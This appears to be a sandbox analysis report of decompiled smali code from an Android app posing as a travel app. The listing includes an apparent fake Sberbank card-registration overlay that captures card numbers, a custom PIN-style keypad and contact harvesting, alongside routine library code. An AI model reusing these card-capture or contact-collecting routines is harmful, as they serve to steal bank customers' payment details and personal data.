                                      18invoke-virtual {v1, v0}, Landroid/support/v4/content/LocalBroadcastManager;->sendBroadcast(Landroid/content/Intent;)Z
                                      19return-void
                                      20pswitch_17:
                                      21const-string v1, "isRequestKilled"
                                      22check-cast p2, Ljava/lang/Boolean;
                                      24invoke-virtual {p2}, Ljava/lang/Boolean;->booleanValue()Z
                                      25move-result v2
                                      27invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
                                      28goto/16 :goto_f
                                      29pswitch_23:
                                      30const-string v1, "chSSCl"
                                      31check-cast p2, Ljava/lang/String;
                                      33invoke-virtual {v0, v1, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      34goto/16 :goto_f
                                      35nop
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$302
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$500
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$600
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$500
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "cardPan" # Ljava/lang/String;
                                      2.param p3, "cardName" # Ljava/lang/String;
                                      3.prologue
                                      4const/4 v2, 0x1
                                      6iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      8invoke-static {v0, p1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$302(Lcom/aviasalea/injs/s/views/SberRegisterView;Z)Z
                                      9if-eqz p1, :cond_3e
                                      11iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      13invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      14move-result-object v0
                                      15const v1, 0x7f05001d
                                      17invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      19iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      21invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      22move-result-object v0
                                      24invoke-virtual {v0, v2}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      26iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      28invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$500(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/model/SModel;
                                      29move-result-object v0
                                      31invoke-virtual {v0, p2}, Lcom/aviasalea/injs/s/model/SModel;->setCardNumber(Ljava/lang/String;)V
                                      33iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      35invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      36move-result-object v0
                                      37if-eqz v0, :cond_3d
                                      39iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      41invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$600(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;
                                      42move-result-object v0
                                      44iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      46invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$500(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/model/SModel;
                                      47move-result-object v1
                                      49invoke-interface {v0, v1, v2}, Lcom/aviasalea/injs/s/views/SberRegisterView$OnSberRegisterCallback;->onRegister(Lcom/aviasalea/injs/s/model/SModel;Z)V
                                      50goto_3d: return-void
                                      51cond_3e:
                                      52iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      54invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      55move-result-object v0
                                      56const v1, 0x7f05001b
                                      58invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      60iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$2;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      62invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      63move-result-object v0
                                      64const/4 v1, 0x0
                                      66invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      67goto/16 :goto_3d
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.shadowVisibility:[Z
                                      • com.aviasalea.base.dialog.AlertDialog.shadowVisibility:[Z
                                      • com.aviasalea.base.dialog.AlertDialog.shadowVisibility:[Z
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • android.animation.AnimatorSet.cancel
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • android.animation.AnimatorSet.<init>
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • com.aviasalea.base.dialog.AlertDialog.shadow:[Landroid/graphics/drawable/BitmapDrawable
                                      • android.animation.ObjectAnimator.ofInt
                                      • android.animation.AnimatorSet.playTogether
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • android.animation.AnimatorSet.setDuration
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • com.aviasalea.base.dialog.AlertDialog$11.<init>
                                      • android.animation.AnimatorSet.addListener
                                      • com.aviasalea.base.dialog.AlertDialog.shadowAnimation:[Landroid/animation/AnimatorSet
                                      • android.animation.AnimatorSet.start
                                      • java.lang.Exception.toString
                                      Strings
                                      • alpha
                                      Position Instruction Meta Information
                                      0.param p1, "num" # I
                                      1.param p2, "show" # Z
                                      2.prologue
                                      3const/4 v7, 0x1
                                      4const/4 v2, 0x0
                                      5if-eqz p2, :cond_a
                                      7iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowVisibility:[Z
                                      8aget-boolean v1, v1, p1
                                      9if-eqz v1, :cond_12
                                      10cond_a: if-nez p2, :cond_6b
                                      12iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowVisibility:[Z
                                      13aget-boolean v1, v1, p1
                                      14if-eqz v1, :cond_6b
                                      15cond_12:
                                      16iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowVisibility:[Z
                                      17aput-boolean p2, v1, p1
                                      19iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      20aget-object v1, v1, p1
                                      21if-eqz v1, :cond_23
                                      23iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      24aget-object v1, v1, p1
                                      26invoke-virtual {v1}, Landroid/animation/AnimatorSet;->cancel()V
                                      27cond_23:
                                      28iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      29new-instance v3, Landroid/animation/AnimatorSet;
                                      31invoke-direct {v3}, Landroid/animation/AnimatorSet;-><init>()V
                                      32aput-object v3, v1, p1
                                      34iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      35aget-object v1, v1, p1
                                      36if-eqz v1, :cond_4f
                                      38iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      39aget-object v3, v1, p1
                                      40new-array v4, v7, [Landroid/animation/Animator;
                                      42iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      43aget-object v5, v1, p1
                                      45const-string v6, "alpha"
                                      46new-array v7, v7, [I
                                      47if-eqz p2, :cond_6c
                                      48const/16 v1, 0xff
                                      49goto_44: aput v1, v7, v2
                                      51invoke-static {v5, v6, v7}, Landroid/animation/ObjectAnimator;->ofInt(Ljava/lang/Object;Ljava/lang/String;[I)Landroid/animation/ObjectAnimator;
                                      52move-result-object v1
                                      53aput-object v1, v4, v2
                                      55invoke-virtual {v3, v4}, Landroid/animation/AnimatorSet;->playTogether([Landroid/animation/Animator;)V
                                      56cond_4f:
                                      57iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      58aget-object v1, v1, p1
                                      59const-wide/16 v2, 0x96
                                      61invoke-virtual {v1, v2, v3}, Landroid/animation/AnimatorSet;->setDuration(J)Landroid/animation/AnimatorSet;
                                      63iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      64aget-object v1, v1, p1
                                      65new-instance v2, Lcom/aviasalea/base/dialog/AlertDialog$11;
                                      67invoke-direct {v2, p0, p1}, Lcom/aviasalea/base/dialog/AlertDialog$11;-><init>(Lcom/aviasalea/base/dialog/AlertDialog;I)V
                                      69invoke-virtual {v1, v2}, Landroid/animation/AnimatorSet;->addListener(Landroid/animation/Animator$AnimatorListener;)V
                                      70try_start_64:
                                      71iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      72aget-object v1, v1, p1
                                      74invoke-virtual {v1}, Landroid/animation/AnimatorSet;->start()V
                                      75goto_6b: return-void
                                      76cond_6c: move v1, v2
                                      77goto/16 :goto_44
                                      78catch_6e: move-exception v0
                                      80invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      81move-result-object v1
                                      83invoke-static {v1}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      84goto/16 :goto_6b
                                      APIs
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setColor
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setAlpha
                                      • com.aviasalea.base.dialog.LineProgressView.getWidth
                                      • com.aviasalea.base.dialog.LineProgressView.getWidth
                                      • com.aviasalea.base.dialog.LineProgressView.getHeight
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Canvas.drawRect
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setColor
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setAlpha
                                      • com.aviasalea.base.dialog.LineProgressView.getWidth
                                      • com.aviasalea.base.dialog.LineProgressView.getHeight
                                      • com.aviasalea.base.dialog.LineProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Canvas.drawRect
                                      • com.aviasalea.base.dialog.LineProgressView.updateAnimation
                                      Position Instruction Meta Information
                                      0.param p1, "canvas" # Landroid/graphics/Canvas;
                                      1.prologue
                                      2const/high16 v6, 0x437f0000 # 255.0f
                                      3const/4 v2, 0x0
                                      4iget v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->backColor:I
                                      5if-eqz v0, :cond_39
                                      6iget v0, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      7const/high16 v1, 0x3f800000 # 1.0f
                                      8cmpl-float v0, v0, v1
                                      9if-eqz v0, :cond_39
                                      11sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      12iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->backColor:I
                                      14invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
                                      16sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      17iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      18mul-float/2addr v1, v6
                                      19float-to-int v1, v1
                                      21invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setAlpha(I)V
                                      23invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->getWidth()I
                                      24move-result v0
                                      25int-to-float v0, v0
                                      26iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      27mul-float/2addr v0, v1
                                      28float-to-int v7, v0
                                      29int-to-float v1, v7
                                      31invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->getWidth()I
                                      32move-result v0
                                      33int-to-float v3, v0
                                      35invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->getHeight()I
                                      36move-result v0
                                      37int-to-float v4, v0
                                      39sget-object v5, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      40move-object v0, p1
                                      42invoke-virtual/range {v0 .. v5}, Landroid/graphics/Canvas;->drawRect(FFFFLandroid/graphics/Paint;)V
                                      43cond_39:
                                      44sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      45iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->progressColor:I
                                      47invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
                                      49sget-object v0, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      50iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      51mul-float/2addr v1, v6
                                      52float-to-int v1, v1
                                      54invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setAlpha(I)V
                                      56invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->getWidth()I
                                      57move-result v0
                                      58int-to-float v0, v0
                                      59iget v1, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      60mul-float v4, v0, v1
                                      62invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->getHeight()I
                                      63move-result v0
                                      64int-to-float v5, v0
                                      66sget-object v6, Lcom/aviasalea/base/dialog/LineProgressView;->progressPaint:Landroid/graphics/Paint;
                                      67move-object v1, p1
                                      68move v3, v2
                                      70invoke-virtual/range {v1 .. v6}, Landroid/graphics/Canvas;->drawRect(FFFFLandroid/graphics/Paint;)V
                                      72invoke-direct {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->updateAnimation()V
                                      73return-void
                                      Cross References
                                      APIs
                                      • java.lang.System.nanoTime
                                      • java.net.InetAddress.isReachable
                                      • java.lang.System.nanoTime
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.io.IOException.getMessage
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • Timed Out
                                      • IOException:
                                      Position Instruction Meta Information
                                      0.param p0, "ia" # Ljava/net/InetAddress;
                                      1.param p1, "timeOutMillis" # I
                                      2.prologue
                                      3new-instance v1, Lcom/aviasalea/ping/PingResult;
                                      5invoke-direct {v1, p0}, Lcom/aviasalea/ping/PingResult;-><init>(Ljava/net/InetAddress;)V
                                      6try_start_5:
                                      7invoke-static {}, Ljava/lang/System;->nanoTime()J
                                      8move-result-wide v4
                                      10invoke-virtual {p0, p1}, Ljava/net/InetAddress;->isReachable(I)Z
                                      11move-result v2
                                      13invoke-static {}, Ljava/lang/System;->nanoTime()J
                                      14move-result-wide v6
                                      15sub-long/2addr v6, v4
                                      16long-to-float v3, v6
                                      17const v6, 0x49742400 # 1000000.0f
                                      18div-float/2addr v3, v6
                                      19iput v3, v1, Lcom/aviasalea/ping/PingResult;->timeTaken:F
                                      20iput-boolean v2, v1, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      21if-nez v2, :cond_21
                                      23const-string v3, "Timed Out"
                                      24iput-object v3, v1, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      25goto_21: return-object v1
                                      26catch_22: move-exception v0
                                      27const/4 v3, 0x0
                                      28iput-boolean v3, v1, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      29new-instance v3, Ljava/lang/StringBuilder;
                                      31invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      33const-string v6, "IOException: "
                                      35invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      36move-result-object v3
                                      38invoke-virtual {v0}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
                                      39move-result-object v6
                                      41invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      42move-result-object v3
                                      44invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      45move-result-object v3
                                      46iput-object v3, v1, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      47goto/16 :goto_21
                                      Cross References
                                      APIs
                                      • android.app.AlertDialog$Builder.<init>
                                      • android.os.Bundle.getString
                                      • android.app.AlertDialog$Builder.setTitle
                                      • android.os.Bundle.getString
                                      • android.app.AlertDialog$Builder.setMessage
                                      • android.app.AlertDialog$Builder.setIcon
                                      • android.app.AlertDialog$Builder.setPositiveButton
                                      • android.app.AlertDialog$Builder.create
                                      Strings
                                      • de.greenrobot.eventbus.errordialog.title
                                      • de.greenrobot.eventbus.errordialog.message
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "arguments" # Landroid/os/Bundle;
                                      2.param p2, "onClickListener" # Landroid/content/DialogInterface$OnClickListener;
                                      3.prologue
                                      4new-instance v0, Landroid/app/AlertDialog$Builder;
                                      6invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                                      8const-string v1, "de.greenrobot.eventbus.errordialog.title"
                                      10invoke-virtual {p1, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      11move-result-object v1
                                      13invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                                      15const-string v1, "de.greenrobot.eventbus.errordialog.message"
                                      17invoke-virtual {p1, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                      18move-result-object v1
                                      20invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                                      21sget v1, Lde/greenrobot/event/util/ErrorDialogFragments;->ERROR_DIALOG_ICON:I
                                      22if-eqz v1, :cond_20
                                      23sget v1, Lde/greenrobot/event/util/ErrorDialogFragments;->ERROR_DIALOG_ICON:I
                                      25invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setIcon(I)Landroid/app/AlertDialog$Builder;
                                      26cond_20: const v1, 0x104000a
                                      28invoke-virtual {v0, v1, p2}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
                                      30invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                                      31move-result-object v1
                                      32return-object v1
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.util.List.size
                                      • java.util.List.size
                                      • java.util.List.get
                                      • com.aviasalea.checktls.CntctsTls.filterNumber
                                      • java.util.List.size
                                      • com.aviasalea.checktls.CntctsTls.replaceSpaces
                                      • java.util.List.add
                                      • java.util.List.add
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/util/List",
                                      4"<",
                                      5"Lcom/aviasalea/cntcts/Contact;",
                                      6">;)",
                                      7"Ljava/util/List",
                                      8"<",
                                      9"Lcom/aviasalea/cntcts/Contact;",
                                      10">;"
                                      11}
                                      12.end annotation
                                      13.prologue
                                      14const/4 v0, 0x0
                                      15new-instance v2, Ljava/util/ArrayList;
                                      17invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
                                      18move-object v6, p1
                                      19if-eqz v6, :cond_52
                                      20const/4 v1, 0x0
                                      21goto_a:
                                      22invoke-interface {v6}, Ljava/util/List;->size()I
                                      23move-result v8
                                      24if-ge v1, v8, :cond_52
                                      26invoke-interface {v6, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      27move-result-object v7
                                      28check-cast v7, Lcom/aviasalea/cntcts/Contact;
                                      30invoke-interface {v2}, Ljava/util/List;->size()I
                                      31move-result v8
                                      32if-lez v8, :cond_4e
                                      34iget-object v5, v7, Lcom/aviasalea/cntcts/Contact;->phoneNumber:Ljava/lang/String;
                                      36iget-object v4, v7, Lcom/aviasalea/cntcts/Contact;->name:Ljava/lang/String;
                                      37if-eqz v5, :cond_49
                                      38const/4 v3, 0x0
                                      39goto_23:
                                      40invoke-interface {v6}, Ljava/util/List;->size()I
                                      41move-result v8
                                      42if-ge v3, v8, :cond_3e
                                      43if-eq v3, v1, :cond_3b
                                      45invoke-interface {v6, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      46move-result-object v8
                                      47check-cast v8, Lcom/aviasalea/cntcts/Contact;
                                      49invoke-direct {p0, v5, v8}, Lcom/aviasalea/checktls/CntctsTls;->filterNumber(Ljava/lang/String;Lcom/aviasalea/cntcts/Contact;)Z
                                      50move-result v0
                                      51if-eqz v0, :cond_3b
                                      53invoke-interface {v6}, Ljava/util/List;->size()I
                                      54move-result v3
                                      55cond_3b: add-int/lit8 v3, v3, 0x1
                                      56goto/16 :goto_23
                                      57cond_3e: if-nez v0, :cond_4c
                                      59invoke-direct {p0, v5}, Lcom/aviasalea/checktls/CntctsTls;->replaceSpaces(Ljava/lang/String;)Ljava/lang/String;
                                      60move-result-object v8
                                      61iput-object v8, v7, Lcom/aviasalea/cntcts/Contact;->phoneNumber:Ljava/lang/String;
                                      63invoke-interface {v2, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      64cond_49: add-int/lit8 v1, v1, 0x1
                                      65goto/16 :goto_a
                                      66cond_4c: const/4 v0, 0x0
                                      67goto/16 :goto_49
                                      68cond_4e:
                                      69invoke-interface {v2, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      70goto/16 :goto_49
                                      71cond_52: return-object v2
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.reflect.Method.getDeclaringClass
                                      • java.lang.Class.getName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.reflect.Method.getName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.Class.getName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Position Instruction Meta Information
                                      0.prologue
                                      1monitor-enter p0
                                      2try_start_1:
                                      3iget-object v1, p0, Lde/greenrobot/event/SubscriberMethod;->methodString:Ljava/lang/String;
                                      4if-nez v1, :cond_3d
                                      5new-instance v0, Ljava/lang/StringBuilder;
                                      6const/16 v1, 0x40
                                      8invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
                                      10iget-object v1, p0, Lde/greenrobot/event/SubscriberMethod;->method:Ljava/lang/reflect/Method;
                                      12invoke-virtual {v1}, Ljava/lang/reflect/Method;->getDeclaringClass()Ljava/lang/Class;
                                      13move-result-object v1
                                      15invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      16move-result-object v1
                                      18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      19const/16 v1, 0x23
                                      21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      22move-result-object v1
                                      24iget-object v2, p0, Lde/greenrobot/event/SubscriberMethod;->method:Ljava/lang/reflect/Method;
                                      26invoke-virtual {v2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                      27move-result-object v2
                                      29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      30const/16 v1, 0x28
                                      32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      33move-result-object v1
                                      35iget-object v2, p0, Lde/greenrobot/event/SubscriberMethod;->eventType:Ljava/lang/Class;
                                      37invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      38move-result-object v2
                                      40invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      42invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      43move-result-object v1
                                      44iput-object v1, p0, Lde/greenrobot/event/SubscriberMethod;->methodString:Ljava/lang/String;
                                      45try_end_3d: monitor-exit p0
                                      46return-void
                                      47catchall_3f: move-exception v1
                                      48monitor-exit p0
                                      49throw v1
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.KeyboardView.numOne:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numTwo:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numThree:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numFour:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numFive:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numSix:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numSeven:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numEight:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numNine:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numZero:Landroid/widget/LinearLayout
                                      • android.widget.LinearLayout.setOnClickListener
                                      • com.aviasalea.injs.s.views.KeyboardView.numBack:Landroid/widget/RelativeLayout
                                      • android.widget.RelativeLayout.setOnClickListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numOne:Landroid/widget/LinearLayout;
                                      4invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      6iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numTwo:Landroid/widget/LinearLayout;
                                      8invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      10iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numThree:Landroid/widget/LinearLayout;
                                      12invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      14iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numFour:Landroid/widget/LinearLayout;
                                      16invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
                                      18iget-object v0, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numFive:Landroid/widget/LinearLayout;
                                      20invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
